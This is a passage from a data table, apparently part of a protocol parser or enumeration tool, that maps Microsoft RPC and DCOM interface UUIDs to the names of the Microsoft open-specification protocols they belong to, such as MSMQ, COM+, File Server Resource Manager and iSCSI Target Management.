+'B196B287-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B12-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B1E-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E07E-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E081-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E07B-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'64C478FB-F9B0-4695-8A7F-439AC94326D3':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B16-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B19-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B10-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B21-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E076-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B0F-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B11-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E080-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'4639DB2A-BFC5-11D2-9318-00C04FBBBFB3':'[MS-ADTG]: Remote Data Services (RDS) Transport Protocol', +'0EAC4842-8763-11CF-A743-00AA00A3F00D':'[MS-ADTG]: Remote Data Services (RDS) Transport Protocol', +'070669EB-B52F-11D1-9270-00C04FBBBFB3':'[MS-ADTG]: Remote Data Services (RDS) Transport Protocol', +'3DDE7C30-165D-11D1-AB8F-00805F14DB40':'[MS-BKRP]: BackupKey Remote Protocol', +'E3D0D746-D2AF-40FD-8A7A-0D7078BB7092':'[MS-BPAU]: Background Intelligent Transfer Service (BITS) Peer-', +'6BFFD098-A112-3610-9833-012892020162':'[MS-BRWSA]: Common Internet File System (CIFS) Browser Auxiliary', +'AFC07E2E-311C-4435-808C-C483FFEEC7C9':'[MS-CAPR]: Central Access Policy Identifier (ID) Retrieval Protocol', +'B97DB8B2-4C63-11CF-BFF6-08002BE23F2F':'[MS-CMRP]: Failover Cluster:', +'97199110-DB2E-11D1-A251-0000F805CA53':'[MS-COM]: Component Object Model Plus (COM+) Protocol', +'0E3D6630-B46B-11D1-9D2D-006008B0E5CA':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'3F3B1B86-DBBE-11D1-9DA6-00805F85CFE3':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'7F43B400-1A0E-4D57-BBC9-6B0C65F7A889':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'456129E2-1078-11D2-B0F9-00805FC73204':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'8DB2180E-BD29-11D1-8B7E-00C04FD7A924':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'182C40FA-32E4-11D0-818B-00A0C9231C29':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'971668DC-C3FE-4EA1-9643-0C7230F494A1':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'98315903-7BE5-11D2-ADC1-00A02463D6E7':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'6C935649-30A6-4211-8687-C4C83E5FE1C7':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'F131EA3E-B7BE-480E-A60D-51CB2785779E':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'1F7B1697-ECB2-4CBB-8A0E-75C427F4A6F0':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'A8927A41-D3CE-11D1-8472-006008B0E5CA':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'CFADAC84-E12C-11D1-B34C-00C04F990D54':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'1D118904-94B3-4A64-9FA6-ED432666A7B9':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'47CDE9A1-0BF6-11D2-8016-00C04FB9988E':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'0E3D6631-B46B-11D1-9D2D-006008B0E5CA':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'C2BE6970-DF9E-11D1-8B87-00C04FD7A924':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'C726744E-5735-4F08-8286-C510EE638FB6':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'FBC1D17D-C498-43A0-81AF-423DDD530AF6':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'F89AC270-D4EB-11D1-B682-00805FC79216':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'FB2B72A1-7A68-11D1-88F9-0080C7D771BF':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'4E14FB9F-2E22-11D1-9964-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'A0E8F27A-888C-11D1-B763-00C04FB926AF':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'7FB7EA43-2D76-4EA8-8CD9-3DECC270295E':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'99CC098F-A48A-4E9C-8E58-965C0AFC19D5':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'FB2B72A0-7A68-11D1-88F9-0080C7D771BF':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'4A6B0E16-2E38-11D1-9965-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'F4A07D63-2E25-11D1-9964-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'4A6B0E15-2E38-11D1-9965-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'B60040E0-BCF3-11D1-861D-0080C729264D':'[MS-COMT]: Component Object Model Plus (COM+) Tracker Service', +'23C9DD26-2355-4FE2-84DE-F779A238ADBD':'[MS-COMT]: Component Object Model Plus (COM+) Tracker Service', +'4E6CDCC9-FB25-4FD5-9CC5-C9F4B6559CEC':'[MS-COMT]: Component Object Model Plus (COM+) Tracker Service', +'D99E6E71-FC88-11D0-B498-00A0C90312F3':'[MS-CSRA]: Certificate Services Remote Administration Protocol', +'7FE0D935-DDA6-443F-85D0-1CFB58FE41DD':'[MS-CSRA]: Certificate Services Remote Administration Protocol', +'E1568352-586D-43E4-933F-8E6DC4DE317A':'[MS-CSVP]: Failover Cluster:', +'11942D87-A1DE-4E7F-83FB-A840D9C5928D':'[MS-CSVP]: Failover Cluster:', +'491260B5-05C9-40D9-B7F2-1F7BDAE0927F':'[MS-CSVP]: Failover Cluster:', +'C72B09DB-4D53-4F41-8DCC-2D752AB56F7C':'[MS-CSVP]: Failover Cluster:', +'E3C9B851-C442-432B-8FC6-A7FAAFC09D3B':'[MS-CSVP]: Failover Cluster:', +'4142DD5D-3472-4370-8641-DE7856431FB0':'[MS-CSVP]: Failover Cluster:', +'D6105110-8917-41A5-AA32-8E0AA2933DC9':'[MS-CSVP]: Failover Cluster:', +'A6D3E32B-9814-4409-8DE3-CFA673E6D3DE':'[MS-CSVP]: Failover Cluster:', +'04D55210-B6AC-4248-9E69-2A569D1D2AB6':'[MS-CSVP]: Failover Cluster:', +'2931C32C-F731-4C56-9FEB-3D5F1C5E72BF':'[MS-CSVP]: Failover Cluster:', +'12108A88-6858-4467-B92F-E6CF4568DFB6':'[MS-CSVP]: Failover Cluster:', +'85923CA7-1B6B-4E83-A2E4-F5BA3BFBB8A3':'[MS-CSVP]: Failover Cluster:', +'F1D6C29C-8FBE-4691-8724-F6D8DEAEAFC8':'[MS-CSVP]: Failover Cluster:', +'3CFEE98C-FB4B-44C6-BD98-A1DB14ABCA3F':'[MS-CSVP]: Failover Cluster:', +'88E7AC6D-C561-4F03-9A60-39DD768F867D':'[MS-CSVP]: Failover Cluster:', +'00000131-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', +'4D9F4AB8-7D1C-11CF-861E-0020AF6E7C57':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', +'00000143-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', +'000001A0-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', +'99FCFEC4-5260-101B-BBCB-00AA0021347A':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', +'00000000-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', +'4FC742E0-4A10-11CF-8273-00AA004AE673':'[MS-DFSNM]: Distributed File System (DFS):', +'9009D654-250B-4E0D-9AB0-ACB63134F69F':'[MS-DFSRH]: DFS Replication Helper Protocol', +'E65E8028-83E8-491B-9AF7-AAF6BD51A0CE':'[MS-DFSRH]: DFS Replication Helper Protocol', +'D3766938-9FB7-4392-AF2F-2CE8749DBBD0':'[MS-DFSRH]: DFS Replication Helper Protocol', +'4BB8AB1D-9EF9-4100-8EB6-DD4B4E418B72':'[MS-DFSRH]: DFS Replication Helper Protocol', +'CEB5D7B4-3964-4F71-AC17-4BF57A379D87':'[MS-DFSRH]: DFS Replication Helper Protocol', +'7A2323C7-9EBE-494A-A33C-3CC329A18E1D':'[MS-DFSRH]: DFS Replication Helper Protocol', +'20D15747-6C48-4254-A358-65039FD8C63C':'[MS-DFSRH]: DFS Replication Helper Protocol', +'C4B0C7D9-ABE0-4733-A1E1-9FDEDF260C7A':'[MS-DFSRH]: DFS Replication Helper Protocol', +'6BFFD098-A112-3610-9833-46C3F874532D':'[MS-DHCPM]: Microsoft Dynamic Host Configuration Protocol (DHCP)', +'5B821720-F63B-11D0-AAD2-00C04FC324DB':'[MS-DHCPM]: Microsoft Dynamic Host Configuration Protocol (DHCP)', +'4DA1C422-943D-11D1-ACAE-00C04FC2AA3F':'[MS-DLTM]: Distributed Link Tracking:', +'300F3532-38CC-11D0-A3F0-0020AF6B0ADD':'[MS-DLTW]: Distributed Link Tracking:', +'D2D79DF5-3400-11D0-B40B-00AA005FF586':'[MS-DMRP]: Disk Management Remote Protocol', +'DEB01010-3A37-4D26-99DF-E2BB6AE3AC61':'[MS-DMRP]: Disk Management Remote Protocol', +'3A410F21-553F-11D1-8E5E-00A0C92C9D5D':'[MS-DMRP]: Disk Management Remote Protocol', +'D2D79DF7-3400-11D0-B40B-00AA005FF586':'[MS-DMRP]: Disk Management Remote Protocol', +'4BDAFC52-FE6A-11D2-93F8-00105A11164A':'[MS-DMRP]: Disk Management Remote Protocol', +'135698D2-3A37-4D26-99DF-E2BB6AE3AC61':'[MS-DMRP]: Disk Management Remote Protocol', +'50ABC2A4-574D-40B3-9D66-EE4FD5FBA076':'[MS-DNSP]: Domain Name Service (DNS) Server Management', +'7C44D7D4-31D5-424C-BD5E-2B3E1F323D22':'[MS-DRSR]: Directory Replication Service (DRS) Remote Protocol', +'3919286A-B10C-11D0-9BA8-00C04FD92EF5':'[MS-DSSP]: Directory Services Setup Remote Protocol', +'14A8831C-BC82-11D2-8A64-0008C7457E5D':'[MS-EERR]: ExtendedError Remote Data Structure', +'C681D488-D850-11D0-8C52-00C04FD90F7E':'[MS-EFSR]: Encrypting File System Remote (EFSRPC) Protocol', +'82273FDC-E32A-18C3-3F78-827929DC23EA':'[MS-EVEN]: EventLog Remoting Protocol', +'6B5BDD1E-528C-422C-AF8C-A4079BE4FE48':'[MS-FASP]: Firewall and Advanced Security Protocol', +'6099FC12-3EFF-11D0-ABD0-00C04FD91A4E':'[MS-FAX]: Fax Server and Client Remote Protocol', +'EA0A3165-4834-11D2-A6F8-00C04FA346CC':'[MS-FAX]: Fax Server and Client Remote Protocol', +'897E2E5F-93F3-4376-9C9C-FD2277495C27':'[MS-FRS2]: Distributed File System Replication Protocol', +'377F739D-9647-4B8E-97D2-5FFCE6D759CD':'[MS-FSRM]: File Server Resource Manager Protocol', +'F411D4FD-14BE-4260-8C40-03B7C95E608A':'[MS-FSRM]: File Server Resource Manager Protocol', +'4C8F96C3-5D94-4F37-A4F4-F56AB463546F':'[MS-FSRM]: File Server Resource Manager Protocol', +'CFE36CBA-1949-4E74-A14F-F1D580CEAF13':'[MS-FSRM]: File Server Resource Manager Protocol', +'8276702F-2532-4839-89BF-4872609A2EA4':'[MS-FSRM]: File Server Resource Manager Protocol', +'4A73FEE4-4102-4FCC-9FFB-38614F9EE768':'[MS-FSRM]: File Server Resource Manager Protocol', +'F3637E80-5B22-4A2B-A637-BBB642B41CFC':'[MS-FSRM]: File Server Resource Manager Protocol', +'1568A795-3924-4118-B74B-68D8F0FA5DAF':'[MS-FSRM]: File Server Resource Manager Protocol', +'6F4DBFFF-6920-4821-A6C3-B7E94C1FD60C':'[MS-FSRM]: File Server Resource Manager Protocol', +'39322A2D-38EE-4D0D-8095-421A80849A82':'[MS-FSRM]: File Server Resource Manager Protocol', +'326AF66F-2AC0-4F68-BF8C-4759F054FA29':'[MS-FSRM]: File Server Resource Manager Protocol', +'27B899FE-6FFA-4481-A184-D3DAADE8A02B':'[MS-FSRM]: File Server Resource Manager Protocol', +'E1010359-3E5D-4ECD-9FE4-EF48622FDF30':'[MS-FSRM]: File Server Resource Manager Protocol', +'8DD04909-0E34-4D55-AFAA-89E1F1A1BBB9':'[MS-FSRM]: File Server Resource Manager Protocol', +'96DEB3B5-8B91-4A2A-9D93-80A35D8AA847':'[MS-FSRM]: File Server Resource Manager Protocol', +'D8CC81D9-46B8-4FA4-BFA5-4AA9DEC9B638':'[MS-FSRM]: File Server Resource Manager Protocol', +'EDE0150F-E9A3-419C-877C-01FE5D24C5D3':'[MS-FSRM]: File Server Resource Manager Protocol', +'15A81350-497D-4ABA-80E9-D4DBCC5521FE':'[MS-FSRM]: File Server Resource Manager Protocol', +'12937789-E247-4917-9C20-F3EE9C7EE783':'[MS-FSRM]: File Server Resource Manager Protocol', +'F76FBF3B-8DDD-4B42-B05A-CB1C3FF1FEE8':'[MS-FSRM]: File Server Resource Manager Protocol', +'CB0DF960-16F5-4495-9079-3F9360D831DF':'[MS-FSRM]: File Server Resource Manager Protocol', +'4846CB01-D430-494F-ABB4-B1054999FB09':'[MS-FSRM]: File Server Resource Manager Protocol', +'6CD6408A-AE60-463B-9EF1-E117534D69DC':'[MS-FSRM]: File Server Resource Manager Protocol', +'EE321ECB-D95E-48E9-907C-C7685A013235':'[MS-FSRM]: File Server Resource Manager Protocol', +'38E87280-715C-4C7D-A280-EA1651A19FEF':'[MS-FSRM]: File Server Resource Manager Protocol', +'BEE7CE02-DF77-4515-9389-78F01C5AFC1A':'[MS-FSRM]: File Server Resource Manager Protocol', +'9A2BF113-A329-44CC-809A-5C00FCE8DA40':'[MS-FSRM]: File Server Resource Manager Protocol', +'4173AC41-172D-4D52-963C-FDC7E415F717':'[MS-FSRM]: File Server Resource Manager Protocol', +'AD55F10B-5F11-4BE7-94EF-D9EE2E470DED':'[MS-FSRM]: File Server Resource Manager Protocol', +'BB36EA26-6318-4B8C-8592-F72DD602E7A5':'[MS-FSRM]: File Server Resource Manager Protocol', +'FF4FA04E-5A94-4BDA-A3A0-D5B4D3C52EBA':'[MS-FSRM]: File Server Resource Manager Protocol', +'22BCEF93-4A3F-4183-89F9-2F8B8A628AEE':'[MS-FSRM]: File Server Resource Manager Protocol', +'6879CAF9-6617-4484-8719-71C3D8645F94':'[MS-FSRM]: File Server Resource Manager Protocol', +'5F6325D3-CE88-4733-84C1-2D6AEFC5EA07':'[MS-FSRM]: File Server Resource Manager Protocol', +'8BB68C7D-19D8-4FFB-809E-BE4FC1734014':'[MS-FSRM]: File Server Resource Manager Protocol', +'A2EFAB31-295E-46BB-B976-E86D58B52E8B':'[MS-FSRM]: File Server Resource Manager Protocol', +'0770687E-9F36-4D6F-8778-599D188461C9':'[MS-FSRM]: File Server Resource Manager Protocol', +'AFC052C2-5315-45AB-841B-C6DB0E120148':'[MS-FSRM]: File Server Resource Manager Protocol', +'515C1277-2C81-440E-8FCF-367921ED4F59':'[MS-FSRM]: File Server Resource Manager Protocol', +'D2DC89DA-EE91-48A0-85D8-CC72A56F7D04':'[MS-FSRM]: File Server Resource Manager Protocol', +'47782152-D16C-4229-B4E1-0DDFE308B9F6':'[MS-FSRM]: File Server Resource Manager Protocol', +'205BEBF8-DD93-452A-95A6-32B566B35828':'[MS-FSRM]: File Server Resource Manager Protocol', +'1BB617B8-3886-49DC-AF82-A6C90FA35DDA':'[MS-FSRM]: File Server Resource Manager Protocol', +'42DC3511-61D5-48AE-B6DC-59FC00C0A8D6':'[MS-FSRM]: File Server Resource Manager Protocol', +'426677D5-018C-485C-8A51-20B86D00BDC4':'[MS-FSRM]: File Server Resource Manager Protocol', +'E946D148-BD67-4178-8E22-1C44925ED710':'[MS-FSRM]: File Server Resource Manager Protocol', +'D646567D-26AE-4CAA-9F84-4E0AAD207FCA':'[MS-FSRM]: File Server Resource Manager Protocol', +'F82E5729-6ABA-4740-BFC7-C7F58F75FB7B':'[MS-FSRM]: File Server Resource Manager Protocol', +'2DBE63C4-B340-48A0-A5B0-158E07FC567E':'[MS-FSRM]: File Server Resource Manager Protocol', +'A8E0653C-2744-4389-A61D-7373DF8B2292':'[MS-FSRVP]: File Server Remote VSS Protocol', +'B9785960-524F-11DF-8B6D-83DCDED72085':'[MS-GKDI]: Group Key Distribution Protocol', +'91AE6020-9E3C-11CF-8D7C-00AA00C091BE':'[MS-ICPR]: ICertPassage Remote Protocol', +'E8FB8620-588F-11D2-9D61-00C04F79C5FE':'[MS-IISS]: Internet Information Services (IIS) ServiceControl', +'F612954D-3B0B-4C56-9563-227B7BE624B4':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', +'8298D101-F992-43B7-8ECA-5052D885B995':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', +'29822AB8-F302-11D0-9953-00C04FD919C1':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', +'70B51430-B6CA-11D0-B9B9-00A0C922E750':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', +'29822AB7-F302-11D0-9953-00C04FD919C1':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', +'BD0C73BC-805B-4043-9C30-9A28D64DD7D2':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', +'7C4E1804-E342-483D-A43E-A850CFCC8D18':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', +'6619A740-8154-43BE-A186-0319578E02DB':'[MS-IOI]: IManagedObject Interface Protocol', +'8165B19E-8D3A-4D0B-80C8-97DE310DB583':'[MS-IOI]: IManagedObject Interface Protocol', +'C3FCC19E-A970-11D2-8B5A-00A0C9B7C9C4':'[MS-IOI]: IManagedObject Interface Protocol', +'82AD4280-036B-11CF-972C-00AA006887B0':'[MS-IRP]: Internet Information Services (IIS) Inetinfo Remote', +'4E65A71E-4EDE-4886-BE67-3C90A08D1F29':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'866A78BC-A2FB-4AC4-94D5-DB3041B4ED75':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'B0D1AC4B-F87A-49B2-938F-D439248575B2':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'E141FD54-B79E-4938-A6BB-D523C3D49FF1':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'40CC8569-6D23-4005-9958-E37F08AE192B':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'1822A95E-1C2B-4D02-AB25-CC116DD9DBDE':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'B4FA8E86-2517-4A88-BD67-75447219EEE4':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'3C73848A-A679-40C5-B101-C963E67F9949':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'66C9B082-7794-4948-839A-D8A5A616378F':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'01454B97-C6A5-4685-BEA8-9779C88AB990':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'D6BD6D63-E8CB-4905-AB34-8A278C93197A':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'348A0821-69BB-4889-A101-6A9BDE6FA720':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'703E6B03-7AD1-4DED-BA0D-E90496EBC5DE':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'100DA538-3F4A-45AB-B852-709148152789':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'592381E5-8D3C-42E9-B7DE-4E77A1F75AE4':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'883343F1-CEED-4E3A-8C1B-F0DADFCE281E':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'6AEA6B26-0680-411D-8877-A148DF3087D5':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'D71B2CAE-33E8-4567-AE96-3CCF31620BE2':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'8C58F6B3-4736-432A-891D-389DE3505C7C':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'1995785D-2A1E-492F-8923-E621EACA39D9':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'C10A76D8-1FE4-4C2F-B70D-665265215259':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'8D7AE740-B9C5-49FC-A11E-89171907CB86':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'8AD608A4-6C16-4405-8879-B27910A68995':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'B0076FEC-A921-4034-A8BA-090BC6D03BDE':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'640038F1-D626-40D8-B52B-09660601D045':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'BB39E296-AD26-42C5-9890-5325333BB11E':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'B06A64E3-814E-4FF9-AFAC-597AD32517C7':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'A5ECFC73-0013-4A9E-951C-59BF9735FDDA':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'1396DE6F-A794-4B11-B93F-6B69A5B47BAE':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'DD6F0A28-248F-4DD3-AFE9-71AED8F685C4':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'52BA97E7-9364-4134-B9CB-F8415213BDD8':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'E2842C88-07C3-4EB0-B1A9-D3D95E76FEF2':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'312CC019-D5CD-4CA7-8C10-9E0A661F147E':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'345B026B-5802-4E38-AC75-795E08B0B83F':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'442931D5-E522-4E64-A181-74E98A4E1748':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'1B1C4D1C-ABC4-4D3A-8C22-547FBA3AA8A0':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'56E65EA5-CDFF-4391-BA76-006E42C2D746':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'E645744B-CAE5-4712-ACAF-13057F7195AF':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'FE7F99F9-1DFB-4AFB-9D00-6A8DD0AABF2C':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'81FE3594-2495-4C91-95BB-EB5785614EC7':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'F093FE3D-8131-4B73-A742-EF54C20B337B':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'28BC8D5E-CA4B-4F54-973C-ED9622D2B3AC':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'22E5386D-8B12-4BF0-B0EC-6A1EA419E366':'[MS-LREC]: Live Remote Event Capture (LREC) Protocol', +'12345778-1234-ABCD-EF00-0123456789AB':'[MS-LSAD]: Local Security Authority (Domain Policy) Remote Protocol', +'12345778-1234-ABCD-EF00-0123456789AB':'[MS-LSAT]: Local Security Authority (Translation Methods) Remote', +'708CCA10-9569-11D1-B2A5-0060977D8118':'[MS-MQDS]: Message Queuing (MSMQ):', +'77DF7A80-F298-11D0-8358-00A024C480A8':'[MS-MQDS]: Message Queuing (MSMQ):', +'76D12B80-3467-11D3-91FF-0090272F9EA3':'[MS-MQMP]: Message Queuing (MSMQ):', +'FDB3A030-065F-11D1-BB9B-00A024EA5525':'[MS-MQMP]: Message Queuing (MSMQ):', +'41208EE0-E970-11D1-9B9E-00E02C064C39':'[MS-MQMR]: Message Queuing (MSMQ):', +'1088A980-EAE5-11D0-8D9B-00A02453C337':'[MS-MQQP]: Message Queuing (MSMQ):', +'1A9134DD-7B39-45BA-AD88-44D01CA47F28':'[MS-MQRR]: Message Queuing (MSMQ):', +'17FDD703-1827-4E34-79D4-24A55C53BB37':'[MS-MSRP]: Messenger Service Remote Protocol', +'12345678-1234-ABCD-EF00-01234567CFFB':'[MS-NRPC]: Netlogon Remote Protocol', +'00020411-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', +'00020401-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', +'00020403-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', +'00020412-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', +'00020402-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', +'00020400-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', +'00020404-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', +'784B693D-95F3-420B-8126-365C098659F2':'[MS-OCSPA]: Microsoft OCSP Administration Protocol', +'AE33069B-A2A8-46EE-A235-DDFD339BE281':'[MS-PAN]: Print System Asynchronous Notification Protocol', +'0B6EDBFA-4A24-4FC6-8A23-942B1ECA65D1':'[MS-PAN]: Print System Asynchronous Notification Protocol', +'76F03F96-CDFD-44FC-A22C-64950A001209':'[MS-PAR]: Print System Asynchronous Remote Protocol', +'DA5A86C5-12C2-4943-AB30-7F74A813D853':'[MS-PCQ]: Performance Counter Query Protocol', +'03837510-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837543-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837533-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837541-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837544-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837524-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'0383753A-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837534-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'0383750B-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'0383751A-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837512-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'0383753D-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837506-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837520-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'038374FF-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837514-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837502-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837516-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'0B1C2170-5732-4E0E-8CD3-D9B16F3B84D7':'[MS-RAA]: Remote Authorization API Protocol', +'F120A684-B926-447F-9DF4-C966CB785648':'[MS-RAI]: Remote Assistance Initiation Protocol', +'833E4010-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol', +'833E4200-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol', +'3C3A70A7-A468-49B9-8ADA-28E11FCCAD5D':'[MS-RAI]: Remote Assistance Initiation Protocol', +'833E4100-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol', +'833E41AA-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol', +'C323BE28-E546-4C23-A81B-D6AD8D8FAC7B':'[MS-RAINPS]: Remote Administrative Interface:', +'83E05BD5-AEC1-4E58-AE50-E819C7296F67':'[MS-RAINPS]: Remote Administrative Interface:', +'45F52C28-7F9F-101A-B52B-08002B2EFABE':'[MS-RAIW]: Remote Administrative Interface:', +'811109BF-A4E1-11D1-AB54-00A0C91E9B45':'[MS-RAIW]: Remote Administrative Interface:', +'A35AF600-9CF4-11CD-A076-08002B2BD711':'[MS-RDPESC]: Remote Desktop Protocol:', +'12345678-1234-ABCD-EF00-0123456789AB':'[MS-RPRN]: Print System Remote Protocol', +'66A2DB21-D706-11D0-A37B-00C04FC9DA04':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', +'66A2DB1B-D706-11D0-A37B-00C04FC9DA04':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', +'66A2DB20-D706-11D0-A37B-00C04FC9DA04':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', 